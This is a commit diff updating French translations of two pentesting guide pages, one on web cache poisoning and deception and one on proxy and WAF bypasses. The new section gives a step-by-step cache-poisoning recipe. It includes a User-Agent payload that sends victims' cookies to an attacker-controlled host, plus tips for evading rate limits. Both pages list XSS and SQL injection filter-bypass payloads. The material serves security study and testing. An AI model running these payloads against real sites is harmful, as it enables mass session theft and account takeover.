Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p

2025-10-10 18:36:50 +00:00 · 2025-08-21 06:07:48 +00:00 · 2025-08-21 06:07:48 +00:00 · 5cb3541b3f
commit 5cb3541b3f
parent a08ace500d
2 changed files with 94 additions and 39 deletions
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@ -25,7 +25,7 @@ En général, lorsqu'une réponse a été **stockée dans le cache**, il y aura

 ### Découverte : Codes d'erreur de mise en cache

-Si vous pensez que la réponse est stockée dans un cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devraient être répondues par un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).
+Si vous pensez que la réponse est stockée dans un cache, vous pourriez essayer d'**envoyer des requêtes avec un mauvais en-tête**, qui devraient être répondues avec un **code d'état 400**. Ensuite, essayez d'accéder à la requête normalement et si la **réponse est un code d'état 400**, vous savez qu'elle est vulnérable (et vous pourriez même effectuer un DoS).

 Vous pouvez trouver plus d'options dans :

@ -37,7 +37,7 @@ Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cac

 ### Découverte : Identifier et évaluer les entrées non clés

-Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui pourraient être **en train de changer la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là :
+Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui pourraient être **en train de changer la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script depuis là :
 ```html
 <script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
 ```
@ -50,7 +50,7 @@ Avec le paramètre/en-tête identifié, vérifiez comment il est **sanitisé** e
 Une fois que vous avez **identifié** la **page** qui peut être abusée, quel **paramètre**/**en-tête** utiliser et **comment** l'**abuser**, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps, vous devrez peut-être essayer pendant plusieurs secondes.

 L'en-tête **`X-Cache`** dans la réponse pourrait être très utile car il peut avoir la valeur **`miss`** lorsque la requête n'est pas mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache.\
-L'en-tête **`Cache-Control`** est également intéressant à connaître pour savoir si une ressource est mise en cache et quand la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`
+L'en-tête **`Cache-Control`** est également intéressant à connaître pour savoir si une ressource est mise en cache et quand la prochaine fois la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800`

 Un autre en-tête intéressant est **`Vary`**. Cet en-tête est souvent utilisé pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. Par conséquent, si l'utilisateur connaît le `User-Agent` de la victime qu'il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce `User-Agent` spécifique.

@ -63,7 +63,7 @@ Lors de la mise en cache d'une requête, soyez **prudent avec les en-têtes que
 ### Exemple le plus simple

 Un en-tête comme `X-Forwarded-For` est réfléchi dans la réponse sans être sanitisé.\
-Vous pouvez envoyer une charge utile XSS basique et empoisonner le cache afin que tout le monde qui accède à la page soit XSSé :
+Vous pouvez envoyer une charge utile XSS basique et empoisonner le cache afin que tout le monde qui accède à la page sera XSSé :
 ```html
 GET /en?region=uk HTTP/1.1
 Host: innocent-website.com
@ -105,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md

 ### Poisoning du cache avec traversée de chemin pour voler une clé API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-[**Cet article explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.
+[**Cet article explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` car tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web.

 Cela est également mieux expliqué dans :

@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md

 ### Utilisation de plusieurs en-têtes pour exploiter les vulnérabilités de poisoning du cache web <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un **Open redirect** si vous définissez `X-Forwarded-Host` sur un domaine contrôlé par vous et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** **transmet** toutes les **requêtes HTTP** **vers HTTPS** et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler où la page est pointée par la redirection.
+Parfois, vous devrez **exploiter plusieurs entrées non clés** pour pouvoir abuser d'un cache. Par exemple, vous pouvez trouver un **Open redirect** si vous définissez `X-Forwarded-Host` sur un domaine que vous contrôlez et `X-Forwarded-Scheme` sur `http`. **Si** le **serveur** **transmet** toutes les **requêtes HTTP** **vers HTTPS** et utilise l'en-tête `X-Forwarded-Scheme` comme nom de domaine pour la redirection. Vous pouvez contrôler où la page est pointée par la redirection.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@ -146,21 +146,57 @@ Il y a un laboratoire Portswigger à ce sujet : [https://portswigger.net/web-sec

 ### Cloaking de Paramètres

-Par exemple, il est possible de séparer les **paramètres** dans les serveurs ruby en utilisant le caractère **`;`** au lieu de **`&`**. Cela pourrait être utilisé pour mettre des valeurs de paramètres non clés à l'intérieur de paramètres clés et en abuser.
+Par exemple, il est possible de séparer les **paramètres** dans les serveurs ruby en utilisant le caractère **`;`** au lieu de **`&`**. Cela pourrait être utilisé pour mettre des valeurs de paramètres non clés à l'intérieur de ceux qui sont clés et en abuser.

 Laboratoire Portswigger : [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

-### Exploitation de l'empoisonnement du cache HTTP en abusant du HTTP Request Smuggling
+### Exploitation de l'empoisonnement de cache HTTP en abusant du HTTP Request Smuggling

 Apprenez ici comment effectuer des [attaques d'empoisonnement de cache en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).

-### Tests automatisés pour l'empoisonnement du cache Web
+### Tests automatisés pour l'empoisonnement de cache Web

-Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement l'empoisonnement du cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
+Le [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) peut être utilisé pour tester automatiquement l'empoisonnement de cache web. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.

 Exemple d'utilisation : `wcvs -u example.com`

-## Exemples Vulnérables
+### XSS par réflexion d'en-tête + semis de cache assisté par CDN/WAF (User-Agent, .js auto-mis en cache)
+
+Ce modèle du monde réel enchaîne un primitif de réflexion basé sur un en-tête avec le comportement CDN/WAF pour empoisonner de manière fiable le HTML mis en cache servi à d'autres utilisateurs :
+
+- Le HTML principal a réfléchi un en-tête de requête non fiable (par exemple, `User-Agent`) dans un contexte exécutable.
+- Le CDN a supprimé les en-têtes de cache mais un cache interne/origine existait. Le CDN a également mis en cache automatiquement les requêtes se terminant par des extensions statiques (par exemple, `.js`), tandis que le WAF appliquait une inspection de contenu plus faible aux GET pour les actifs statiques.
+- Les particularités du flux de requêtes ont permis à une requête vers un chemin `.js` d'influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS inter-utilisateurs via réflexion d'en-tête.
+
+Recette pratique (observée sur un CDN/WAF populaire) :
+
+1) À partir d'une IP propre (évitez les rétrogradations basées sur la réputation antérieure), définissez un `User-Agent` malveillant via le navigateur ou Burp Proxy Match & Replace.
+2) Dans Burp Repeater, préparez un groupe de deux requêtes et utilisez "Envoyer le groupe en parallèle" (le mode à paquet unique fonctionne le mieux) :
+- Première requête : GET un chemin de ressource `.js` sur la même origine tout en envoyant votre `User-Agent` malveillant.
+- Immédiatement après : GET la page principale (`/`).
+3) La course de routage CDN/WAF plus le `.js` auto-mis en cache sème souvent une variante HTML mise en cache empoisonnée qui est ensuite servie à d'autres visiteurs partageant les mêmes conditions de clé de cache (par exemple, mêmes dimensions `Vary` comme `User-Agent`).
+
+Exemple de charge utile d'en-tête (pour exfiltrer des cookies non-HttpOnly) :
+```
+User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
+```
+Conseils opérationnels :
+
+- De nombreux CDN cachent les en-têtes de cache ; le poisoning peut n'apparaître que lors de cycles de rafraîchissement de plusieurs heures. Utilisez plusieurs IP de vantage et limitez le débit pour éviter les déclencheurs de limite de taux ou de réputation.
+- Utiliser une IP du cloud du CDN lui-même améliore parfois la cohérence du routage.
+- Si un CSP strict est présent, cela fonctionne toujours si la réflexion s'exécute dans le contexte HTML principal et que le CSP permet l'exécution en ligne ou est contourné par le contexte.
+
+Impact :
+
+- Si les cookies de session ne sont pas `HttpOnly`, un ATO sans clic est possible en exfiltrant massivement `document.cookie` de tous les utilisateurs qui reçoivent le HTML empoisonné.
+
+Défenses :
+
+- Ne réfléchissez pas les en-têtes de requête dans le HTML ; encodez strictement le contexte si inévitable. Alignez les politiques de cache CDN et d'origine et évitez de varier sur des en-têtes non fiables.
+- Assurez-vous que le WAF applique l'inspection de contenu de manière cohérente aux requêtes `.js` et aux chemins statiques.
+- Définissez `HttpOnly` (et `Secure`, `SameSite`) sur les cookies de session.
+
+## Exemples vulnérables

 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

@ -174,23 +210,23 @@ L'envoi d'une mauvaise valeur dans l'en-tête content-type a déclenché une ré

 GitLab utilise des buckets GCP pour stocker du contenu statique. **Les Buckets GCP** prennent en charge l'**en-tête `x-http-method-override`**. Il était donc possible d'envoyer l'en-tête `x-http-method-override: HEAD` et d'empoisonner le cache pour renvoyer un corps de réponse vide. Il pouvait également prendre en charge la méthode `PURGE`.

-### Middleware Rack (Ruby on Rails)
+### Rack Middleware (Ruby on Rails)

-Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme le schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, ce qui peut potentiellement causer un déni de service (DoS) à cette ressource. De plus, l'application pourrait reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sécurité.
+Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le but du code Rack est de prendre la valeur de l'en-tête **`x-forwarded-scheme`** et de la définir comme le schéma de la requête. Lorsque l'en-tête `x-forwarded-scheme: http` est envoyé, une redirection 301 vers le même emplacement se produit, ce qui peut entraîner un déni de service (DoS) pour cette ressource. De plus, l'application pourrait reconnaître l'en-tête `X-forwarded-host` et rediriger les utilisateurs vers l'hôte spécifié. Ce comportement peut entraîner le chargement de fichiers JavaScript depuis le serveur d'un attaquant, posant un risque de sécurité.

-### 403 et Buckets de Stockage
+### 403 et Buckets de stockage

-Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à S3 ou aux Blobs de Stockage Azure avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy.
+Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à S3 ou aux blobs de stockage Azure avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy.

-### Injection de Paramètres Clés
+### Injection de paramètres clés

 Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly a mis en cache le paramètre `size` dans les requêtes. Cependant, si une version encodée de l'URL du paramètre (par exemple, `siz%65`) était également envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le bon paramètre `size`. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L'encodage URL du deuxième paramètre `size` a conduit à son omission par le cache mais à son utilisation par le backend. L'attribution d'une valeur de 0 à ce paramètre a entraîné une erreur 400 Bad Request mise en cache.

-### Règles de User Agent
+### Règles de l'agent utilisateur

-Certains développeurs bloquent les requêtes avec des user-agents correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que l'empoisonnement du cache et le DoS.
+Certains développeurs bloquent les requêtes avec des agents utilisateurs correspondant à ceux d'outils à fort trafic comme FFUF ou Nuclei pour gérer la charge du serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que le poisoning de cache et le DoS.

-### Champs d'En-tête Illégaux
+### Champs d'en-tête illégaux

 Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caractères acceptables dans les noms d'en-tête. Les en-têtes contenant des caractères en dehors de la plage **tchar** spécifiée devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs ne respectent pas toujours cette norme. Un exemple notable est Akamai, qui transmet des en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l'en-tête `cache-control` n'est pas présent. Un modèle exploitable a été identifié où l'envoi d'un en-tête avec un caractère illégal, tel que `\`, entraînerait une erreur 400 Bad Request mise en cache.

@ -200,7 +236,7 @@ Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caract

 ## Cache Deception

-L'objectif de la Cache Deception est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**.
+L'objectif de Cache Deception est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**.

 Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache.** Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** **rejoue** avec les contenus **sensibles** de l'utilisateur stockés dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs.

@ -217,13 +253,13 @@ Un autre exemple très clair peut être trouvé dans cet article : [https://hack
 Dans l'exemple, il est expliqué que si vous chargez une page inexistante comme _http://www.example.com/home.php/non-existent.css_, le contenu de _http://www.example.com/home.php_ (**avec les informations sensibles de l'utilisateur**) sera renvoyé et le serveur de cache enregistrera le résultat.\
 Ensuite, l'**attaquant** peut accéder à _http://www.example.com/home.php/non-existent.css_ dans son propre navigateur et observer les **informations confidentielles** des utilisateurs qui ont accédé auparavant.

-Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_ aura un type de contenu `text/html` au lieu d'un type mime `text/css` (qui est celui attendu pour un fichier _.css_).
+Notez que le **proxy de cache** doit être **configuré** pour **mettre en cache** les fichiers **en fonction** de l'**extension** du fichier (_.css_) et non en fonction du type de contenu. Dans l'exemple _http://www.example.com/home.php/non-existent.css_, le type de contenu sera `text/html` au lieu d'un type MIME `text/css` (qui est celui attendu pour un fichier _.css_).

 Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

-## Outils Automatiques
+## Outils automatiques

- [**toxicache**](https://github.com/xhzeem/toxicache) : Scanner Golang pour trouver des vulnérabilités d'empoisonnement de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.
+- [**toxicache**](https://github.com/xhzeem/toxicache) : Scanner Golang pour trouver des vulnérabilités de poisoning de cache web dans une liste d'URLs et tester plusieurs techniques d'injection.

 ## Références

@ -233,6 +269,7 @@ Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du H
 - [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
 - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
-
+- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/proxy-waf-protections-bypass.md
+++ b/src/pentesting-web/proxy-waf-protections-bypass.md
@ -51,7 +51,7 @@ Pour éviter les contournements, Nginx effectue une normalisation des chemins av

 ### **PHP-FPM**

-Configuration Nginx FPM :
+Configuration FPM Nginx :
 ```plaintext
 location = /admin.php {
 deny all;
@ -75,7 +75,7 @@ deny all;
 ### Confusion de chemin

 [**Dans cet article**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) il est expliqué que ModSecurity v3 (jusqu'à 3.0.12), **a mal implémenté la variable `REQUEST_FILENAME`** qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela est dû au fait qu'il effectuait un décodage d'URL pour obtenir le chemin.\
-Par conséquent, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` terminant le chemin de l'URL, mais en réalité, le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`.
+Par conséquent, une requête comme `http://example.com/foo%3f';alert(1);foo=` dans mod security supposera que le chemin est juste `/foo` parce que `%3f` est transformé en `?` terminant le chemin URL, mais en réalité, le chemin que le serveur recevra sera `/foo%3f';alert(1);foo=`.

 Les variables `REQUEST_BASENAME` et `PATH_INFO` ont également été affectées par ce bug.

@ -104,7 +104,7 @@ Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne s

 Les WAF ont généralement une certaine limite de longueur des requêtes à vérifier et si une requête POST/PUT/PATCH dépasse cette limite, le WAF ne vérifiera pas la requête.

- Pour AWS WAF, vous pouvez [**vérifier la documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
+- Pour AWS WAF, vous pouvez [**consulter la documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**

 <table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Taille maximale d'un corps de requête web pouvant être inspecté pour les protections Application Load Balancer et AWS AppSync</td><td>8 Ko</td></tr><tr><td>Taille maximale d'un corps de requête web pouvant être inspecté pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner et Verified Access**</td><td>64 Ko</td></tr></tbody></table>

@ -123,7 +123,24 @@ Par défaut, le WAF inspecte seulement les premiers 8 Ko d'une requête. Il peut

 Jusqu'à 128 Ko.

-### Obfuscation <a href="#obfuscation" id="obfuscation"></a>
+### Lacunes d'inspection des actifs statiques (.js GETs)
+
+Certaines piles CDN/WAF appliquent une inspection de contenu faible ou inexistante aux requêtes GET pour les actifs statiques (par exemple, les chemins se terminant par `.js`), tout en appliquant des règles globales comme la limitation de débit et la réputation IP. Combiné avec le cache automatique des extensions statiques, cela peut être exploité pour livrer ou semer des variantes malveillantes qui affectent les réponses HTML suivantes.
+
+Cas d'utilisation pratiques :
+
+- Envoyer des charges utiles dans des en-têtes non fiables (par exemple, `User-Agent`) sur un GET vers un chemin `.js` pour éviter l'inspection de contenu, puis demander immédiatement le HTML principal pour influencer la variante mise en cache.
+- Utiliser une IP fraîche/propre ; une fois qu'une IP est signalée, les changements de routage peuvent rendre la technique peu fiable.
+- Dans Burp Repeater, utiliser "Envoyer le groupe en parallèle" (style paquet unique) pour faire courir les deux requêtes (`.js` puis HTML) à travers le même chemin frontal.
+
+Cela s'associe bien avec l'empoisonnement du cache par réflexion d'en-tête. Voir :
+
+- {{#ref}}
+cache-deception/README.md
+{{#endref}}
+- [Comment j'ai trouvé un takeover de compte 0-Click dans un BBP public et l'ai exploité pour accéder à des fonctionnalités de niveau Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
+
+### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
 ```bash
 # IIS, ASP Clasic
 <%s%cr%u0131pt> == <script>
@ -133,7 +150,7 @@ Jusqu'à 128 Ko.
 ```
 ### Compatibilité Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>

-Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés [ici](https://www.compart.com/en/unicode).
+Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Des caractères compatibles peuvent être trouvés [ici](https://www.compart.com/en/unicode).

 #### Exemple <a href="#example" id="example"></a>
 ```bash
@ -141,11 +158,11 @@ Selon l'implémentation de la normalisation Unicode (plus d'infos [ici](https://
 # to the XSS payload on the right
 ＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
 ```
-### Contournement des WAF contextuels avec des encodages <a href="#ip-rotation" id="ip-rotation"></a>
+### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>

-Comme mentionné dans [**cet article de blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), afin de contourner les WAF capables de maintenir un contexte de l'entrée utilisateur, nous pourrions abuser des techniques WAF pour normaliser réellement l'entrée des utilisateurs.
+Comme mentionné dans [**cet article de blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), afin de contourner les WAFs capables de maintenir un contexte de l'entrée utilisateur, nous pourrions abuser des techniques WAF pour normaliser réellement l'entrée des utilisateurs.

-Par exemple, dans le post, il est mentionné que **Akamai a décodé une entrée utilisateur 10 fois**. Par conséquent, quelque chose comme `<input/%2525252525252525253e/onfocus` sera vu par Akamai comme `<input/>/onfocus` ce qui **pourrait penser que c'est ok car la balise est fermée**. Cependant, tant que l'application ne décode pas l'entrée 10 fois, la victime verra quelque chose comme `<input/%25252525252525253e/onfocus` qui est **toujours valide pour une attaque XSS**.
+Par exemple, dans le post, il est mentionné que **Akamai a décodé une entrée utilisateur 10 fois**. Par conséquent, quelque chose comme `<input/%2525252525252525253e/onfocus` sera vu par Akamai comme `<input/>/onfocus` ce qui **pourrait sembler acceptable car la balise est fermée**. Cependant, tant que l'application ne décode pas l'entrée 10 fois, la victime verra quelque chose comme `<input/%25252525252525253e/onfocus` qui est **toujours valide pour une attaque XSS**.

 Par conséquent, cela permet de **cacher des charges utiles dans des composants encodés** que le WAF va décoder et interpréter tandis que la victime ne le fera pas.

@ -158,9 +175,9 @@ Dans le post, les contournements finaux suivants sont suggérés :
 - AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
 - Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`

-Il est également mentionné qu'en fonction de **comment certains WAF comprennent le contexte** de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permettait de mettre n'importe quoi entre `/*` et `*/` (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de départ de l'injection et `*/` est commenté.
+Il est également mentionné qu'en fonction de **comment certains WAFs comprennent le contexte** de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permet(tait) de mettre n'importe quoi entre `/*` et `*/` (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que `/*'or sleep(5)-- -*/` ne sera pas détectée et sera valide car `/*` est la chaîne de départ de l'injection et `*/` est commenté.

-Ces types de problèmes de contexte peuvent également être utilisés pour **abuser d'autres vulnérabilités que celle attendue** d'être exploitée par le WAF (par exemple, cela pourrait également être utilisé pour exploiter un XSS).
+Ces types de problèmes de contexte peuvent également être utilisés pour **abuser d'autres vulnérabilités que celle attendue** d'être exploitée par le WAF (par exemple, cela pourrait également être utilisé pour exploiter une XSS).

 ### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>

@ -168,17 +185,17 @@ Ces types de problèmes de contexte peuvent également être utilisés pour **ab
 h2c-smuggling.md
 {{#endref}}

-### Rotation IP <a href="#ip-rotation" id="ip-rotation"></a>
+### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>

 - [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Générer une URL de passerelle API à utiliser avec ffuf
 - [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similaire à fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin Burp Suite qui utilise des IP de passerelle API
+- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin Burp Suite qui utilise des IPs de passerelle API
 - [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un nombre déterminé dynamiquement d'instances de conteneurs est activé en fonction de la taille du fichier d'entrée et du facteur de division, avec l'entrée divisée en morceaux pour une exécution parallèle, comme 100 instances traitant 100 morceaux d'un fichier d'entrée de 10 000 lignes avec un facteur de division de 100 lignes.
 - [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)

-### Contournements Regex
+### Regex Bypasses

-Différentes techniques peuvent être utilisées pour contourner les filtres regex sur les pare-feu. Les exemples incluent le changement de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les divers contournements peuvent être trouvées sur [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) et [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Les exemples ci-dessous ont été extraits de [cet article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
+Différentes techniques peuvent être utilisées pour contourner les filtres regex sur les pare-feu. Les exemples incluent l'alternance de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les divers contournements peuvent être trouvées sur [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) et [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Les exemples ci-dessous ont été extraits de [cet article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
 ```bash
 <sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 <<script>alert(XSS)</script> #prepending an additional "<"
@ -201,7 +218,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 ```
 ## Outils

- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAF par la longueur
+- [**nowafpls**](https://github.com/assetnote/nowafpls) : Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAF par la longueur

 ## Références

@ -209,6 +226,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
 - [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
